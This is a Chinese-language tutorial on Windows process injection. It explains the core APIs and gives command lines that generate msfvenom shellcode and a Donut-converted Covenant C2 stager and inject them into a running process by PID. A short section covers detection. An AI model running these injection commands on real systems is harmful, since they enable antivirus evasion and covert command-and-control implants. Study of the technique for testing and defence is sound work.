进程注入概述(一)
字数 1306 2025-08-26 22:11:45
进程注入技术详解(一)
0x00 前言
进程注入是一种重要的渗透测试技术,本文由Hulk于2019年9月6日发布,已获得16724次浏览。文章将详细介绍进程注入的核心概念、实现原理和实际演示。
0x01 什么是进程注入?
进程注入(Process Injection)是一种在独立运行的实时进程地址空间中执行任意代码的方法。通过在一个合法进程的上下文中运行特定代码,攻击者可以:
- 访问该进程的内存
- 获取系统或网络资源
- 提升权限
- 绕过AV检测(因为代码借用了合法进程)
0x02 为什么要使用进程注入?
恶意软件通常利用进程注入技术实现以下目的:
- 访问系统资源
- 建立持久化后门
- 修改系统环境
- 通过命名管道或进程间通信(IPC)建立通信渠道
- 规避检测(使用分段模块和多个进程注入)
0x03 核心API函数
实现进程注入主要依赖以下4个Windows API:
- OpenProcess - 获取已有进程对象的句柄
- VirtualAllocEx - 在目标进程中分配内存并设置访问权限
- WriteProcessMemory - 将数据写入目标进程的内存区域
- CreateRemoteThread - 在目标进程的虚拟地址空间中创建新线程
0x04 演示案例
4.1 使用MSFVenom生成shellcode
MSFVenom是Metasploit框架中的有效负载生成工具。
4.1.1 Base64格式shellcode
生成命令:
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" | base64
注入命令:
ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\base64.txt" /f:base64
4.1.2 Hex格式shellcode
生成命令:
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f hex
注入命令:
ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\hex.txt" /f:hex
4.1.3 C格式shellcode
生成命令:
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f c
注入命令:
ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\c.txt" /f:c
4.2 使用Donut生成shellcode
Donut是一个先进的shellcode生成工具,可以从.NET程序集创建位置无关(position-independent)的shellcode。
特点:
- 支持任意.NET程序集
- 可指定参数和入口点(如Program.Main)
- 支持从URL加载或直接嵌入shellcode
- 支持三种格式:Base64、Hex、C
4.2.1 结合Covenant C2框架
Covenant是一个专注于.NET框架攻击面的命令控制框架,可用于生成.NET有效负载。
生成命令:
.\donut.exe -f .\GruntStager.exe
注入命令:
.\ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\covenant.txt" /f:base64
0x05 检测与监控
使用Process Explorer工具可以:
- 监控Windows API调用(如CreateRemoteThread、WriteProcessMemory)
- 检测进程内存修改行为
- 监视网络连接情况
0x06 参考资源
- Demystifying Code Injection Techniques Part 1 - Shellcode Injection
- Introducing Donut
- Process Injection Techniques - Gotta Catch Them All
- MITRE ATT&CK - Process Injection (T1055)
- Donut Test Examples
0x07 工具获取
作者开发的进程注入工具可在GitHub仓库获取。